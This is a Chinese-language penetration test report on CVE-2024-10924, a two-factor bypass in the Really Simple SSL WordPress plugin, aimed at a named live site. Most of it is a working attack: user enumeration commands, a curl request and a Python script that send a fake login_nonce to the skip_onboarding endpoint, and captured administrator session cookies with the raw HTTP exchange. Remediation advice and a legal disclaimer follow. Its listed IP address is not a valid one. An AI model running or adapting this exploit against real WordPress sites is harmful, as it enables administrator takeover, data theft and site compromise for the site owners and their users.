# CVE-2024-10924 的渗透测试报告与利用程序——Really Simple SSL 中的 2FA 绕过,包含侦察、利用与修复指南。
目标: https://skior.co
漏洞: CVE-2024-10924 - Really Simple SSL 插件中的 2FA 绕过
严重性: 严重(CVSS 评分:9.8)
状态: 已成功利用
发现日期: 2025-06-25
报告版本: 2.1
本次渗透测试发现了一个关键的身份验证绕过漏洞,该漏洞允许未经身份验证的攻击者通过绕过双因素身份验证(2FA)控制来获取 WordPress 网站的管理员访问权限。
本次评估遵循了基于行业标准的系统性黑盒渗透测试方法论:

已识别的技术:
└─$ whatweb https://skior.co
https://skior.co [200 OK] Country[UNITED STATES][US], HTML5,
HTTPServer[Ubuntu Linux][nginx/1.26.0 (Ubuntu)], IP[123.456.789.200],
JQuery[3.7.1],MetaGenerator[Elementor 3.29.2;
features: additional_custom_breakpoints, e_local_google_fonts;
settings: css_print_method-external, google_font-enabled, font_display-swap,
WordPress 6.8.1], PHP[8.2.28], PoweredBy[Skior],
Script[speculationrules,text/javascript], Title[Skior Technologies],
UncommonHeaders[link], WordPress[6.8.1], X-Powered-By[PHP/8.2.28], nginx[1.26.0]
**主要发现:**
- 使用最新版本的现代 WordPress 安装
- 使用 nginx 的专业托管设置
- 自定义品牌("PoweredBy[Skior]")
- 正在使用 Elementor 页面构建器
- 地理位置:美国
### 步骤 2:用户枚举
#### A. WordPress 作者枚举```bash
└─$ curl -I https://skior.co/?author=1
HTTP/1.1 301 Moved Permanently
Server: nginx/1.26.0 (Ubuntu)
Date: Wed, 25 Jun 2025 18:12:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.2.28
X-Redirect-By: WordPress
Location: https://skior.co/author/pastor/
发现的用户: pastor (用户 ID: 1)
for i in {1..10}; do echo "Checking user ID: $i" curl -s -o /dev/null -w "%{http_code}" "https://skior.co/?author=$i" echo " - https://skior.co/?author=$i" done
#### C. 用户名枚举结果
| 用户 ID | 用户名 | 状态 | 重定向 URL |
|---------|----------|--------|--------------|
| 1 | pastor | ✅ 已找到 | `/author/pastor/` |
| 2-10 | N/A | ❌ 未找到 | 404 响应 |
### 步骤 3:漏洞扫描
#### A. WPScan 全面分析```bash
└─$ wpscan --url https://skior.co --api-token my-api-key
扫描结果摘要:
注意: WPScan 未检测到 Really Simple SSL 插件,表明该插件可能使用了混淆或自定义命名。
└─$ curl -s https://skior.co/wp-json/ | jq '.routes | keys[]'
**发现的自定义端点:**```
/reallysimplessl/v1/two_fa
/reallysimplessl/v1/two_fa/skip_onboarding
/reallysimplessl/v1/two_fa/do_not_ask_again
/reallysimplessl/v1/two_fa/resend_email_code
/reallysimplessl/v1/two_fa/save_default_method_email
/reallysimplessl/v1/two_fa/save_default_method_email_profile
/reallysimplessl/v1/two_fa/save_default_method_totp
/reallysimplessl/v1/two_fa/validate_email_setup
关键发现: /reallysimplessl/v1/two_fa/skip_onboarding 端点看起来可疑,有必要进一步调查。
在发现自定义 REST API 路由后,外部研究揭示了 CVE-2024-10924,这是一个影响 Really Simple SSL 插件的严重漏洞。
CVE ID: CVE-2024-10924
CVSS 评分: 9.8(严重)
受影响插件: Really Simple SSL
漏洞类型: 身份验证绕过
攻击向量: REST API
发现日期: 2024 年 11 月 6 日
公开披露: 2024 年 11 月 14 日
该漏洞源于双因素身份验证 REST API 操作中 check_login_and_get_user 函数对用户验证不当。该函数未能正确验证 login_nonce 参数,从而允许攻击者:
// Simplified vulnerable code structure function check_login_and_get_user($user_id, $login_nonce) { // Missing proper validation of login_nonce $user = get_user_by('ID', $user_id);
// No validation of login_nonce parameter
// This allows any value to be accepted
return $user; // Returns user object without verification
}
#### 受影响的端点
以下 REST API 端点存在漏洞:
- `/reallysimplessl/v1/two_fa/skip_onboarding`
- `/reallysimplessl/v1/two_fa/do_not_ask_again`
- `/reallysimplessl/v1/two_fa/resend_email_code`
#### 漏洞条件
要使此漏洞可利用,需满足以下条件:
- ✅ 必须安装并激活 Really Simple SSL 插件
- ✅ 必须启用双因素认证设置(默认禁用)
- ✅ 系统上必须至少存在一个用户账户
- ✅ REST API 必须可访问(WordPress 默认设置)
---
## 🔄 攻击流程```mermaid
graph TD
A[Initial Reconnaissance] --> B[Technology Stack Identification]
B --> C[User Enumeration]
C --> D[Vulnerability Scanning]
D --> E[REST API Enumeration]
E --> F[Discovery of Really Simple SSL Endpoints]
F --> G[External Research]
G --> H[Identification of CVE-2024-10924]
H --> I[Manual Testing]
I --> J[Exploit Development]
J --> K[Successful Exploitation]
K --> L[Admin Access Obtained]
L --> M[Impact Assessment]
style A fill:#e1f5fe
style F fill:#fff3e0
style H fill:#ffebee
style K fill:#e8f5e8
style L fill:#f3e5f5
首先,我们手动测试了该端点以了解其行为:```bash
curl -X POST "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
-H "Content-Type: application/json"
-d '{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}'
#### B. Python 漏洞利用脚本```python
import requests
import urllib.parse
import sys
if len(sys.argv) != 2:
print("Usage: python exploit.py <user_id>")
sys.exit(1)
user_id = sys.argv[1]
url = "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
data = {
"user_id": int(user_id), # User ID from the argument
"login_nonce": "invalid_nonce", # Arbitrary value
"redirect_to": "/wp-admin/" # Target redirection
}
# Sending the POST request
response = requests.post(url, json=data)
# Checking the response
if response.status_code == 200:
print("Request successful!\n")
# Extracting cookies
cookies = response.cookies.get_dict()
count = 1
for name, value in cookies.items():
decoded_value = urllib.parse.unquote(value) # Decode the URL-encoded cookie value
print(f"Cookie {count}:")
print(f"Cookie Name: {name}")
print(f"Cookie Value: {decoded_value}\n")
count += 1
else:
print("Request failed!")
print(f"Status Code: {response.status_code}")
print(f"Response Text: {response.text}")
└─$ python exploit.py 1 Request successful!
Cookie 1: Cookie Name: wordpress_sec_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da
Cookie 2: Cookie Name: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144
#### Cookie 操纵过程

*以上:截图展示了使用浏览器开发者工具添加捕获的 WordPress 会话 Cookie 的 Cookie 操纵过程。*
#### 成功获取管理员访问权限

*以上:截图确认在利用 2FA 绕过漏洞后成功获得 WordPress 仪表盘的管理员访问权限。*
#### Cookie 分析
**WordPress 安全 Cookie:**
- **名称:** `wordpress_sec_dc22060175d35fce22f69728c6799c9d`
- **值:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
- **组成部分:**
- 用户名:`pastor`
- 过期时间:`1752234264`(Unix 时间戳)
- Nonce:`GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH`
- 哈希值:`cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
**WordPress 登录状态 Cookie:**
- **名称:** `wordpress_logged_in_dc22060175d35fce22f69728c6799c9d`
- **值:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144`
---
## 🎯 影响评估
### 即时影响
1. **完全入侵站点**
- 获得 WordPress 仪表盘的管理员访问权限
- 能够修改站点内容、主题和插件
- 可访问用户管理和设置
2. **数据泄露**
- 可访问所有用户账户和资料
- 可查看数据库内容
- 可访问配置文件
3. **权限提升**
- 绕过所有身份验证控制
- 规避 2FA 安全措施
- 能够冒充任何用户
### 潜在攻击场景
1. **内容篡改**
- 篡改网站内容
- 注入恶意代码
- 创建后门
2. **数据窃取**
- 提取用户信息
- 访问敏感内容
- 下载数据库备份
3. **持久化**
- 安装恶意插件
- 创建隐藏的管理员账户
- 建立命令与控制
### 风险评分:**严重(9.8/10)**
| 因素 | 分数 | 理由 |
|--------|-------|---------------|
| **访问复杂度** | 低(1.0) | 简单的 HTTP 请求 |
| **身份验证** | 无(0.0) | 无需身份验证 |
| **完整性影响** | 高(1.0) | 完全系统失陷 |
| **机密性影响** | 高(1.0) | 完全数据访问 |
| **可用性影响** | 高(1.0) | 可禁用站点 |
### 业务影响分析
| 影响类别 | 严重程度 | 描述 |
|----------------|----------|-------------|
| **财务** | 高 | 潜在收入损失、法律成本 |
| **声誉** | 严重 | 品牌受损、客户信任流失 |
| **运营** | 高 | 服务中断、数据丢失 |
| **合规** | 高 | 违反法规、审计失败 |
---
## 🛡️ 修复措施
### 立即行动(0-24 小时)
1. **禁用 Really Simple SSL 插件** ```bash
# Via wp-cli (if available)
wp plugin deactivate really-simple-ssl
# Or manually rename plugin directory
mv wp-content/plugins/really-simple-ssl wp-content/plugins/really-simple-ssl.disabled
更新或移除插件
审计用户会话
安全加固
监控实施
定期安全评估
安全策略更新
// Add to wp-config.php for enhanced security define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); define('FORCE_SSL_ADMIN', true);
// Restrict REST API access add_filter('rest_authentication_errors', function($result) { if (!empty($result)) { return $result; } if (!is_user_logged_in()) { return new WP_Error('rest_not_logged_in', 'You are not currently logged in.', array('status' => 401)); } return $result; });
// Additional security headers add_action('send_headers', function() { header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: SAMEORIGIN'); header('X-XSS-Protection: 1; mode=block'); header('Referrer-Policy: strict-origin-when-cross-origin'); });
### 替代 SSL 解决方案
| 解决方案 | 优点 | 缺点 | 建议 |
|----------|------|------|----------------|
| **Let's Encrypt** | 免费、自动化 | 需要手动设置 | ✅ 推荐 |
| **Cloudflare** | 设置简单、DDoS 防护 | 需要更改 DNS | ✅ 良好选择 |
| **主机提供商 SSL** | 集成度高 | 可能有局限性 | ⚠️ 请查看功能 |
| **手动 SSL** | 完全可控 | 设置复杂 | ❌ 不推荐 |
---
## 🛠️ 使用工具
### 侦察工具
- **Wappalyzer** - 技术栈识别
- **WhatWeb** - Web 应用指纹识别
- **WPScan** - WordPress 漏洞扫描
- **curl** - 手动 API 测试
### 漏洞利用工具
- **Python 3** - 漏洞利用开发
- **requests** - HTTP 客户端库
- **urllib.parse** - URL 编码/解码
### 分析工具
- **jq** - JSON 处理
- **grep** - 文本模式匹配
- **bash** - 命令行自动化
---
## 📚 参考资料
### 漏洞信息
- [CVE-2024-10924](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-10924)
- [WordPress 插件安全](https://wordpress.org/plugins/security/)
- [Really Simple SSL 插件](https://wordpress.org/plugins/really-simple-ssl/)
### 技术文档
- [WordPress REST API 手册](https://developer.wordpress.org/rest-api/)
- [WordPress 安全最佳实践](https://wordpress.org/support/article/hardening-wordpress/)
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
### 工具与资源
- [WPScan](https://wpscan.com/)
- [WhatWeb](https://github.com/urbanadventurer/WhatWeb)
- [Wappalyzer](https://www.wappalyzer.com/)
### 相关 CVE
- CVE-2024-10924 - Really Simple SSL 中的 2FA 绕过
- CVE-2023-28121 - WordPress 核心 XSS
- CVE-2023-28122 - WordPress 核心 CSRF
### 行业标准
- [OWASP 测试指南](https://owasp.org/www-project-web-security-testing-guide/)
- [NIST 网络安全框架](https://www.nist.gov/cyberframework)
- [ISO 27001](https://www.iso.org/isoiec-27001-information-security.html)
---
## 📄 法律声明
本渗透测试报告仅用于教育和经授权的安全评估目的。所述技术和工具只能用于您拥有或获得明确测试许可的系统。未经授权的测试可能违反法律法规。
**负责任披露:** 此漏洞已报告给插件开发者和 WordPress 安全团队。
**免责声明:** 本报告提供的信息基于测试时进行的评估。安全形势瞬息万变,可能存在本次评估中未被发现的额外漏洞。
---
## 📋 附录
### 附录 A:原始 HTTP 请求
#### 成功利用请求```http
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: skior.co
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}
HTTP/1.1 200 OK Server: nginx/1.26.0 (Ubuntu) Date: Wed, 25 Jun 2025 18:15:30 GMT Content-Type: text/html; charset=UTF-8 Set-Cookie: wordpress_sec_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da; path=/; secure; HttpOnly Set-Cookie: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144; path=/
### 附录 B:安全检查清单
#### 利用前
- [ ] 目标识别与范围界定
- [ ] 已获得法律授权
- [ ] 测试环境已就绪
- [ ] 工具和脚本已验证
#### 利用过程中
- [ ] 漏洞已手动确认
- [ ] 漏洞利用代码已开发并测试
- [ ] 影响已限制在授权范围内
- [ ] 证据已被完整记录
#### 利用后
- [ ] 所有访问权限已移除
- [ ] 证据已保留
- [ ] 报告已生成
- [ ] 已提供修复建议
### 附录 C:术语表
| 术语 | 定义 |
|------|------------|
| **2FA** | 双因素认证 |
| **CVSS** | 通用漏洞评分系统 |
| **REST API** | 表述性状态转移应用程序编程接口 |
| **WAF** | Web 应用防火墙 |
| **XSS** | 跨站脚本攻击 |
| **CSRF** | 跨站请求伪造 |
---
*报告生成日期:2025-06-25*
*安全研究员*
*版本:2.1*
*最后更新日期:2025-06-25*
| 风险等级 | 可能性 | 影响 | 缓解优先级 |
|---|
| 严重 | 高 | 系统完全沦陷 | 立即 |
| 高 | 中 | 数据泄露 | 高 |
| 中 | 低 | 服务中断 | 中 |
| 字段 | 值 |
|---|
| 域名 | https://skior.co |
| IP 地址 | 123.456.789.200 |
| 服务器 | nginx/1.26.0 (Ubuntu) |
| PHP 版本 | 8.2.28 |
| CMS | WordPress 6.8.1 |
| 易受攻击的插件 | Really Simple SSL |
| 地理位置 | 美国 |
| 托管服务商 | 专业托管(可能是 VPS/专用服务器) |
| 日期/时间 | 事件 | 详细信息 |
|---|
| 2025-06-25 14:02 | 初步侦察 | Wappalyzer 分析完成 |
| 2025-06-25 14:05 | 识别技术栈 | WordPress 6.8.1、nginx、PHP 8.2.28 |
| 2025-06-25 14:10 | 用户枚举 | 发现用户 "pastor"(ID:1) |
| 2025-06-25 14:15 | WPScan 分析 | 未发现已知漏洞 |
| 2025-06-25 14:20 | REST API 枚举 | 发现 Really Simple SSL 端点 |
| 2025-06-25 14:25 | 漏洞研究 | 识别出 CVE-2024-10924 |
| 2025-06-25 14:30 | 手动测试 | 确认漏洞存在 |
| 2025-06-25 14:35 | 漏洞利用开发 | 创建 Python 概念验证 |
| 2025-06-25 14:40 | 成功利用 | 获取管理员访问权限 |
| 2025-06-25 14:45 | 影响评估 | 记录潜在损害 |
| 2025-06-25 15:00 | 报告生成 | 综合文档 |